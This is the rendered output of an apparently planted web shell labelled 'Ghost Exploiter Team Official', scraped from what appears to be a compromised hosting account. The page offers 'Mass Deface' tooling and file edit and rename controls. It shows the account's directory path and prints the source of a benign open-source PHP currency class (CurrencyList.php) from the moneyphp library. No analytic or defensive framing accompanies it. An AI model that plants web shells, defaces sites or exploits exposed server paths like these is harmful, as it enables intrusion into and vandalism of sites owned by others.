webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
moneyphp
/
money
/
src
/
Currencies
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AggregateCurrencies.php
1.59KB
edt
ren
BitcoinCurrencies.php
0.848KB
edt
ren
CachedCurrencies.php
2.191KB
edt
ren
CryptoCurrencies.php
2.292KB
edt
ren
CurrencyList.php
1.368KB
edt
ren
ISOCurrencies.php
2.971KB
edt
ren
<?php declare(strict_types=1); namespace Money\Currencies; use ArrayIterator; use Money\Currencies; use Money\Currency; use Money\Exception\UnknownCurrencyException; use Traversable; use function array_keys; use function array_map; /** * A list of custom currencies. */ final class CurrencyList implements Currencies { /** * Map of currencies and their sub-units indexed by code. * * @psalm-var array<non-empty-string, int> */ private array $currencies; /** @psalm-param array<non-empty-string, positive-int|0> $currencies */ public function __construct(array $currencies) { $this->currencies = $currencies; } public function contains(Currency $currency): bool { return isset($this->currencies[$currency->getCode()]); } public function subunitFor(Currency $currency): int { if (! $this->contains($currency)) { throw new UnknownCurrencyException('Cannot find currency ' . $currency->getCode()); } return $this->currencies[$currency->getCode()]; } /** {@inheritDoc} */ public function getIterator(): Traversable { return new ArrayIterator( array_map( static function ($code) { return new Currency($code); }, array_keys($this->currencies) ) ); } }
<=Back
Liking